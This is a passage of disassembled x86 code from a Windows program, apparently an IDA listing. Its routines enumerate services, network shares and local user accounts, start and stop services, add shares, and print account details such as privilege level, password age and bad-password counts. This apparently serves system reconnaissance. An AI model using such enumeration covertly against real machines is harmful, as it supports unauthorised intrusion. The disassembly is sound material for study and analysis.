		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418F74
		dec	eax
		jz	short loc_418F6D
		dec	eax
		jz	short loc_418F66
		dec	eax
		jz	short loc_418F5F
		dec	eax
		jz	short loc_418F58
		dec	eax
		jz	short loc_418F51
		dec	eax
		jz	short loc_418F4A
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F4A:				; CODE XREF: sub_418EA8+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F51:				; CODE XREF: sub_418EA8+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F58:				; CODE XREF: sub_418EA8+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F5F:				; CODE XREF: sub_418EA8+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F66:				; CODE XREF: sub_418EA8+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F6D:				; CODE XREF: sub_418EA8+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F74:				; CODE XREF: sub_418EA8+87j
		push	offset aStopped	; "    Stopped"


loc_418F79:				; CODE XREF: sub_418EA8+A0j
					; sub_418EA8+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_418F2B


loc_418FC5:				; CODE XREF: sub_418EA8+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418EE0


loc_418FCE:				; CODE XREF: sub_418EA8+6Cj
		push	[ebp+var_C]
		call	dword_4CB8CC
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_418EA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FE5	proc near		; CODE XREF: sub_401ACD:loc_406064p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_41907F
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_41900E
		dec	eax
		jnz	short loc_41905F
		push	edi
		push	0
		call	sub_4191B8
		pop	ecx
		pop	ecx
		jmp	short loc_41905B
; ---------------------------------------------------------------------------


loc_41900E:				; CODE XREF: sub_418FE5+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41904D
		push	24h
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41904D
		push	57h
		pop	eax


loc_419025:				; CODE XREF: sub_418FE5+78j
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB63C
		push	off_439518[eax*4]
		push	offset unk_439BC4
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41904D:				; CODE XREF: sub_418FE5+2Dj
					; sub_418FE5+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_41910C
		add	esp, 0Ch


loc_41905B:				; CODE XREF: sub_418FE5+27j
		test	eax, eax
		jnz	short loc_419025


loc_41905F:				; CODE XREF: sub_418FE5+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB63C
		push	off_43951C[eax*4]
		push	offset dword_439BA8
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41907F:				; CODE XREF: sub_418FE5+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB63C
		lea	eax, [eax+eax*2]
		push	off_439518[eax*4]
		push	offset unk_439B84
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_41909F:				; CODE XREF: sub_418FE5+66j
					; sub_418FE5+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418FE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4190A5	proc near		; CODE XREF: sub_41A3C6+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_4190B2
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4190B2:				; CODE XREF: sub_4190A5+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_427188
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DB83C, 1
		mov	ebp, eax
		jnz	short loc_4190EF
		or	byte_4DB83C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	dword_4DB5DC, eax


loc_4190EF:				; CODE XREF: sub_4190A5+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB5DC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DB5DC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_4190A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41910C	proc near		; CODE XREF: sub_418FE5+6Ep
					; sub_41A6EA+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41C990
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_419177
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB8C8
		pop	edi
		leave
		retn
sub_41910C	endp


; =============== S U B	R O U T	I N E =======================================



sub_419177	proc near		; CODE XREF: sub_41910C+Ap
					; sub_41910C+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_419184
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419184:				; CODE XREF: sub_419177+9j
		push	ebx
		push	esi
		mov	esi, dword_4270E8
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419177	endp


; =============== S U B	R O U T	I N E =======================================



sub_4191B8	proc near		; CODE XREF: sub_418FE5+20p
					; sub_41A3C6+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB8A0
		pop	esi
		retn
sub_4191B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4191DB	proc near		; CODE XREF: sub_401ACD+45AEp

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_419177
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_419214:				; CODE XREF: sub_4191DB+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB918
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_419277
		cmp	ebx, 0EAh
		jz	short loc_419277
		push	ebx
		push	ebx
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439C10
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_4192E4
; ---------------------------------------------------------------------------


loc_419277:				; CODE XREF: sub_4191DB+5Dj
					; sub_4191DB+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_4192DB
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_419285:				; CODE XREF: sub_4191DB+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB8BC
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_41929C
		mov	eax, offset aNo	; "No"


loc_41929C:				; CODE XREF: sub_4191DB+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_419285
		xor	esi, esi


loc_4192DB:				; CODE XREF: sub_4191DB+A2j
		push	[ebp+var_4]
		call	dword_4CBA64


loc_4192E4:				; CODE XREF: sub_4191DB+9Aj
		cmp	ebx, 0EAh
		jz	loc_419214
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4191DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192FC	proc near		; CODE XREF: sub_401ACD:loc_4060EDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_4193A1
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_41933E
		dec	eax
		jz	short loc_419333
		dec	eax
		jnz	short loc_419359
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_419443
		add	esp, 14h
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419333:				; CODE XREF: sub_4192FC+1Dj
		push	ebx
		push	edi
		call	sub_419422
		pop	ecx
		pop	ecx
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_41933E:				; CODE XREF: sub_4192FC+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_419352
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_4193C8
		add	esp, 0Ch
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419352:				; CODE XREF: sub_4192FC+45j
		push	57h
		pop	eax


loc_419355:				; CODE XREF: sub_4192FC+35j
					; sub_4192FC+40j ...
		cmp	eax, edi
		jnz	short loc_419379


loc_419359:				; CODE XREF: sub_4192FC+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB840
		push	off_43951C[eax*4]
		push	offset unk_439CC8
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_419379:				; CODE XREF: sub_4192FC+5Bj
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB840
		push	off_439518[eax*4]
		push	offset unk_439C98
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_4193A1:				; CODE XREF: sub_4192FC+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB840
		lea	eax, [eax+eax*2]
		push	off_439518[eax*4]
		push	offset unk_439C70
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_4193C1:				; CODE XREF: sub_4192FC+7Bj
					; sub_4192FC+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4192FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193C8	proc near		; CODE XREF: sub_4192FC+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_419177
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB8AC
		pop	edi
		leave
		retn
sub_4193C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_419422	proc near		; CODE XREF: sub_4192FC+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB89C
		pop	esi
		retn
sub_419422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419443	proc near		; CODE XREF: sub_4192FC+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CBA2C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_4197EB
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_419826
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41C266
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419562
		dec	eax
		jz	short loc_41955B
		dec	eax
		jz	short loc_419554
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419554:				; CODE XREF: sub_419443+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_41955B:				; CODE XREF: sub_419443+105j
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419562:				; CODE XREF: sub_419443+102j
		mov	eax, offset aGuest ; "Guest"


loc_419567:				; CODE XREF: sub_419443+10Fj
					; sub_419443+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41C266
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_419817
; ---------------------------------------------------------------------------


loc_4197EB:				; CODE XREF: sub_419443+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439CE8
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409869
		add	esp, 20h


loc_419817:				; CODE XREF: sub_419443+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_419826
		push	[ebp+var_4]
		call	dword_4CBA64


loc_419826:				; CODE XREF: sub_419443+40j
					; sub_419443+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_419443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41982C	proc near		; CODE XREF: sub_401ACD+463Ap

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_419177
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_41986B:				; CODE XREF: sub_41982C+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB934
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_4198CC
		cmp	eax, 0EAh
		jz	short loc_4198CC
		push	eax
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439ED8
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_4198CC:				; CODE XREF: sub_41982C+62j
					; sub_41982C+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41995A
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_419947


loc_4198DE:				; CODE XREF: sub_41982C+EDj
		cmp	edi, esi
		jz	short loc_41991D
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4198DE
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_41991D:				; CODE XREF: sub_41982C+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439EA4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_419947:				; CODE XREF: sub_41982C+9Ej
					; sub_41982C+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41995A
		push	edi
		call	dword_4CBA64
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41995A:				; CODE XREF: sub_41982C+A5j
					; sub_41982C+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41986B
		cmp	edi, esi
		jz	short loc_419972
		push	edi
		call	dword_4CBA64


loc_419972:				; CODE XREF: sub_41982C+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41982C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4199AC	proc near		; CODE XREF: sub_418FE5+41p
					; sub_4191DB+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419A5E
		jz	loc_419A57
		cmp	eax, 7Bh
		ja	short loc_419A23
		jz	short loc_419A19
		cmp	eax, 5
		jz	short loc_419A0F
		cmp	eax, 8
		jz	short loc_419A05
		cmp	eax, 32h
		jz	short loc_4199FB
		cmp	eax, 35h
		jz	short loc_4199F1
		cmp	eax, 57h
		jnz	loc_419AAD
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199F1:				; CODE XREF: sub_4199AC+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199FB:				; CODE XREF: sub_4199AC+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A05:				; CODE XREF: sub_4199AC+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A0F:				; CODE XREF: sub_4199AC+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


